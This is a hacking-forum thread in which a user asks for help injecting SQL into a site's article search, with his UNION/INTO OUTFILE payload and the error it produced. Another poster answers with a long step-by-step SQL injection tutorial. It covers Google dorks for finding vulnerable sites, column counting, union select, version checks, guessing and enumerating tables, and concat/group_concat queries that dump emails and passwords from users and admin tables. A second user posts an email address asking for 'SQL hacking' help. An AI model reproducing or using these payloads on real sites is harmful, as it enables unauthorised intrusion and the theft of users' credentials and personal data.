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waraxe ?
PostPosted: Sun Feb 28, 2010 7:31 pm Reply with quote
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Joined: May 06, 2009
Posts: 91

hello waraxe... Razz
hello all... Razz

I want to inject into this request :

­select * from article_resume,article_cat
where article_resume.idc=article_cat.idc
and article_cat.idc not like (24)
and ((article_resume.resume like 'XXXXX'
OR article_resume.resume like 'XXXXX%'
OR article_resume.resume like '%XXXXX%'
OR article_resume.resume like '%XXXXX'
or article_resume.titre like 'XXXXX'
OR article_resume.titre like 'XXXXX%'
OR article_resume.titre like '%XXXXX%'
OR article_resume.titre like '%XXXXX'))
group by ida order by article_resume.date_insert desc LIMIT 0 , 30

where XXXXX is the injection

if I try

XXXXX = crops'))+union+(select+'salut'+into+outfile+'/home/musique/213/test')+union+select+*+from+article_resume,article_cat+where+(('0'='0

I get the error message:

Erreur de base de donn�e : Invalid SQL: select * from article_resume,article_cat where article_resume.idc=article_cat.idc and article_cat.idc not like (24)and ((article_resume.resume like 'crops')) union (select 'salut' into outfile '/home/musique/213/test') union select * from article_resume,article_cat where
*(('0'='0' OR article_resume.resume like 'crops')) union (select 'salut' into outfile '/home/musique/213/test') union select * from article_resume,article_cat where (('0'='0%' OR article_resume.resume like '%crops')) union (select 'salut' into outfile '/home/musique/213/test') union select * from article_resume,article_cat where (('0'='0%' OR article_resume.resume like '%crops')) union (select 'salut' into outfile '/home/musique/213/test') union select * from article_resume,article_cat where (('0'='0' or article_resume.titre like 'crops')) union (select 'salut' into outfile'/home/musique/213/test') union select * from article_resume,article_cat where (('0'='0' OR article_resume.titre like 'crops')) union (select 'salut' into outfile
'/home/musique/213/test') union select * from article_resume,article_cat where (('0'='0%' OR article_resume.titre like '%crops')) union (select 'salut' into outfile '/home/musique/213/test') union select * from article_resume,article_cat where (('0'='0%' OR article_resume.titre like '%crops')) union
*(select 'salut' into outfile '/home/musique/213/test') union select * from article_resume,article_cat where (('0'='0' ) ) group by ida order by article_resume.date_insert desc LIMIT 0 , 30
Erreur interne : 1221 (Incorrect usage of UNION and INTO)
Session halted.

How can I inject?


Last edited by cr4ps on Thu Mar 11, 2010 7:52 am; edited 1 time in total
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PostPosted: Mon Mar 01, 2010 5:55 pm Reply with quote
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PostPosted: Tue Mar 02, 2010 1:17 pm Reply with quote
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hi man pls add my email iwant to contact you for SQL hacking my email is said.said71@yahoo.com plssss add
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PostPosted: Thu Mar 11, 2010 7:51 am Reply with quote
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waraxe answer me !!
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PostPosted: Thu Mar 11, 2010 2:06 pm Reply with quote
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cr4ps please add me ineed your help so bad please its my mail said.said71@yahoo.com
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PostPosted: Mon Mar 15, 2010 4:14 pm Reply with quote
Joined: Mar 15, 2010
Posts: 1

Are you a beginner in SQLi? because looks to me like you dont know how to orient yourself in the attack. Lol your making things more difficult than they have to be. If you want to use BSQLi or SQLI read a tutorial man, it will make more sense. Ill post the links or PM me for individual attention.

Read this for Classic SQLI,


1A: Understanding SQL Injection
1B: Tricks & Tools
1C: Requirements
2A: Searching for Targets
2B: Testing Targets for Vulnerabilities
2C: Finding Columns
2D: Finding Vulnerable Columns
3A: Obtaining the SQL version
3B: Version 4
- 1. Obtaining Tables & Columns
- 2. Commands
3C: Version 5
- 1. Obtaining Table Names
- 2. Obtaining Column Names from Tables ------------------------------------------------------------------------
1A: Understanding SQL Injection
SQL Injection is one of todays most powerful methods of system penetration, using error

based queries one is able to extract data (tables & columns) from a vulnerable system,

namely the (database).

1B: Tricks & Tips
Beginners tend to believe that using tools created by advanced SQL injection artists are the

best way around things, please believe that they aren't, everything seems nice and easy with

tools such as (BSQLi and SQLi Helper) which they are, but the users posting the download

links for both applications around the world on hacking forums have been known to very

securely encrypt these tools with malicious files or backdoors etc, I've experienced this

first hand when I first started out. Learning everything manually will help you understand

the environment you are attempting to penetrate, whilst experimenting with commands you have

learnt will only help you become more advanced in SQL injection, as for tricks, there are

many articles named (Cheat Sheets) because this is what they are, purposely created for SQL

injectors to use commands which aren't normally spoken of or known about, Samples are

provided to allow the reader to get basic idea of a potential attack.

1C: Requirements:
When I first started SQL injection personally for me it wasn't to hard to get on the ball

and learn quickly, this is because I had previous knowledge of web-scripts, how the internet

works, and the ability to read and understand complicated tutorials. I believe it's a whole

lot easier if you know the basics of a computer system and how the internet works.
To learn you must be able to read and understand the tutorial or article provided and take

on board everything you see. When I was a beginner I found it easier to attack whilst

reading, do everything in stages, don't read the whole tutorial and go off and expect to

inject off the top of your head. ------------------------------------------------------------------------
2A Searching for Targets
Ahh, the beauty of searching for targets is a lot easier than it sounds, the most common

method of searching is (Dorks). Dorks are an input query into a search engine (Google) which

attempt to find websites with the given texxt provided in the dork itself. So navigate to

Google and copy the following into the search box:
This search will return websites affiliated with Google with "products.php?prodID=" within

the URL.
You can find a wide range of dorks to use by searching the forum.
I advise you to create your own dorks, be original, but at the same time unique, think of

something to use that not many people would have already searched and tested.
An example of a dork I would make up:
inurl:"/shop/index.php?item_id=" & ".co.uk"
So using your own dorks isn't a bad thing at all, sometimes your dorks wont work, nevermind

even I get it..

2B: Testing Targets for Vulnerabilities
It's important that this part's done well. I'll explain this as simply as I can.
After opening a URL found in one of your dork results on Google you now need to test the

site if it's vulnerable to SQL injection.


To test, just simply add an asterik ' at the end of the URL


How to tell if the sites vulnerable:
- Missing text, images, spaces or scripts from the original page.
- Any kind of typical SQL error (fetch_array) etc.

So if the website you're testing produces any of the above then the site is unfortunately

vulnerable, which is where the fun starts.

2C: Finding Columns & the Vulnerable Columns
As I noted in the first section of the tutorial I advise you do pretty much everything

manually with SQL injection, so by using the following commands (providing they're followed

correctly) you will begin to see results in no time :D

Refer to the following to checking how many columns there are.
(order+by) the order by function tells the database to order columns by an integer (digit

e.g. 1 or 2), no errors returned means the column is there, if there's an error returned the

column isnt there

wxw.site.com/index.php?Client_id=23+order+by+1 < No Error
wxw.site.com/index.php?Client_id=23+order+by+2 < No Error
wxw.site.com/index.php?Client_id=23+order+by+3 < No Error
wxw.site.com/index.php?Client_id=23+order+by+4 < ERROR

From using order+by+ command and incremating the number each time until the page

displays an error is the easiest method to find vulnerable columns, so from the examples

above when attempting to order the columns by 4 there's an error, and so column 4 doesn't

exist, so there's 3 columns.

2D: Finding Vulnerable Columns
Ok so let's say we were working on the site I used above, which has 3 columns. We now need

to find out which of those three coluns are vulnerable. Vulnerable columns allow us to

submit commands and queries to the SQL database through the URL. (union+select)

Selects all columns provided in the URL and returns the value of the vulnerable column e.g.



The site should refresh, not with an error but with some content missing and a number is

displayed on the page, either 1, 2 or 3 (as we selected the three columns in the above URL

to test for column vulnerability).
Sometimes the page will return and look completely normal, which isn't a problem. Some sites

you are required to null the value you're injecting into.

In simpler terms, the =23 you see in the above URL after Client_id must be nulled in order

to return with the vulnerable column. So we simply put a hyphen (minus sign) before the 23

like so: -23
So the URL should now look something like this:


Now that should work, let's say the page refreshes and displays a 2 on the page, thus 2

being the vulnerable column for us to inject into. ------------------------------------------------------------------------
3A: Obtaining the SQL Verison
Easier said than done, using the information found in the above sections e.g. amount of

columns and the vulnerable column. We now use a command (@@version) and in some cases

a series of commands to determine what the SQL version is on the current site. Version 4 or

version 5. See the example below to view what a URL should look like when the version

command has been inserted into the URL replacing the number 2 as 2 is the vulnerable column

on the example site.


What you need to look for is a series of numbers e.g:

If the above failes and the site just returns an error or displays normally then we need to

use the convert function in order for the server to understand the command, don't worry

though this is usually the only thing you need to convert and it's on a rare occasion where

this is the case.

So, if the example site returned an error we need to replace @@version with the convert()

convert(@@version using latin1)

So the example site will now look like this:
wxw.site.com/index.php?Client_id=-23+union+select+1,convert(@@version using latin1),3

Now if the page still decides to not return the error then the query must be hexxed:

So the example site will now look like this:

Depending on which version the SQL server it is, whether it be 4, or 5 the queries for

obtaining data from both versions are different, version 4 and 5 tables are explained below

3B Version 4
- 1. Obtaining Tables and Columns

You will notice that obtaining tables and columns from version 4 MySQL servers is a little

more time consuming and confusing at times as we have to guess pretty much everyhing.

Because version 5 is more up to date and has information_schema which the database and

tables are stored in, MySQL version 4 doesn't.
Providing the MySQL version of the website is 4, we must do the following.

So, back to the example URL:

We must now go back to the original URL which is:

This is where the guessing begins, we need to guess table names.
How can we tell if the table name I guess exists?
The same as where we tested for the amount of columns.
If no error is produced then the table guessed exists.
Is there is an error then the table guessed doesn't exist, so just try another.
So we use the (from) command followed by the table name you are looking to see


wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin

Usual tables most people search for consist of obtaining user data, so again, be creative

just like with the dorks, common table names I use:

tbl_user, tbl_admin, tbl_access, user, users, member, members, admin, admins, customer,

customers, orders, phpbb_users, phpbb_admins

So if we tried the following as an example:

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from user

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from users
No Error

Now which table do you think exists..?
:D The table users exists

We are now required to guess column names from the existing table. So thinking logically,

which labelled columns within this table would represent data? Columns such as:
first_name, last_name, email, username, password, pass, user_id
Typical columns found in the users table.

So we now must think back to which column is vulnerable (in this case 2) and so we'll use

the URL and replace 2 with the column name you are attempting to see if exists in the users

table. Let's try a few of the typicals listed above:

wxw.site.com/index.php?Client_id=23+union+select+1,f_name,3 from users

wxw.site.com/index.php?Client_id=23+union+select+1,l_name,3 from users

wxw.site.com/index.php?Client_id=23+union+select+1,address1,3 from users

wxw.site.com/index.php?Client_id=23+union+select+1,email,3 from users
No Error

From the above we can clearly see that the column email exists within the table users, the

page should return displaying data (most probably an email address) or the data you are

extracting i.e if you pulled password from users and the column exists the first password

within that column will be displayed on screen.

2. Commands
From here we will be able to use certain commands to determine the amount of data we pull

from the database or which exact record you wish to pull from a column.


We will now use the concat() function to extract data from multiple columns if only one

column is vulnerable, in this case remembering back the vulnerable column is 2, so we can

only query in within this space.

Command: concat(columnname1,0x3a,columnname2)
0x3a is the hex value of a semi-colon : so the output data from the query will be displayed


wxw.site.com/index.php?Client_id=23+union+select+1,concat(email,0x3a,password),3 from users

The above will output the first email and password found in the table.


We will now use the group_concat() function to group all data from one column and display

them on one page. Same as the above concat() command just grouping all records together and

displaying them as one.

wxw.site.com/index.php?Client_id=23+union+select+1,group_concat(email,0x3a,pass),3 from


Now the above should return ALL e-mails and passwords listed in the email and passwords

column within the users table.

limit 0,1
The limit command is somewhat useful if you're looking for a specific data record. Say for

instance we wanted to obtain the 250th record for emails in the table users. We would use:

limit 250,1
Thus displaying the 250th e-mail within the data.

wxw.site.com/index.php?Client_id=23+union+select+1,email,3+from+users+limit+250,1 ------------------------------------------------------------------------
Version 5
- 1. Obtaining Table Names

Now after that painstaking version 4 malakey lol, we're onto version 5, the easiest and

quickest version of MySQL to hack, so many things are already done for you, so realise the

possibilities and be imaginative.

Obtaining table names for version 5 MySQL servers is simple, using information_schema.tables

< For table extraction

So, example of the URL from earlier, but imagine it is now version 5



The above URL will display only the first table name which is listed in the database

information_schema. So using group_concat()
just like in version 4 works with the same principle.

wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3 from


We should now be able to see all the tables listed on one page, sometimes the last tables

will be cut off the end because a portion of the page will be covered in table names from

information_schema which aren't useful for us so really, I usually prefer to display table

names from the primary database rather than information_schema, we can do the following by

using the +where+table_schema=database() command:
where => A query for selection
table_schema => Schema of tables from a database
database() => In context the primary database, just leave it as it is.



Example List of tables:
About, Admin, Affiliates, Access, Customer, Users

Now all tables should be displayed from the primary database, take your pick and get ready

to extract columns.

2. Obtaining Column Names from Table Names

Ok, suggesting from the above we decided to obtain column information from the table Admin.
Using information_schema once again but this time we will be using:
instead of
informtion_schema.tables (as we want to extract columns now, not tables)

The thing with obtaining column information is similar to the principle of obtaining columns in version 4, except we dont have to guess, once again just one command lists them all when combines with group_concat()

Edit the vulnerable column (in this case 2) to:
column_name instead of table_name

And the end of the URL to:
+from+information_schema.columns where table_name=TableNameHEX

wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=Admin

Now the above will return an error because of the way the command is used at the end of the URL (where table_name=Admin)
We must HEX the table name, in this case Admin
I use THIS website to for converting Text to Hex.

The HEX of Admin is: 41646d696e
Now we must add 0x (MySQL integer) at the front of the HEX, which should now look like this: 0x41646d696e
And pop it onto the end of the URL replacing Admin, so the URL should look something like the following.

wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=0x41646d696e

Now all columns from the table Admin will be displayed on the page, just the same as version 4 we will use the same command to extract data from certain columns within the table.

Say for instance the following columns were displayed:
username, password, id, admin_user

We would be able to do the same as version 4, replacing the vulnerable column (2) with a column name (one of the above) i.e. username and password using the concat() function.


Will display the first username and password data entries from the columns username and password in the table Admin.

You can still use group_concat() & limit 0,1
Exactly the same as version 4.

For a BSQLI look anywhere, including this site. From what ive read, every tutorial is the same lol nothing has been updated and they are all ripped from milw0rm.

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PostPosted: Sat Mar 27, 2010 8:55 pm Reply with quote
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waraxe ?
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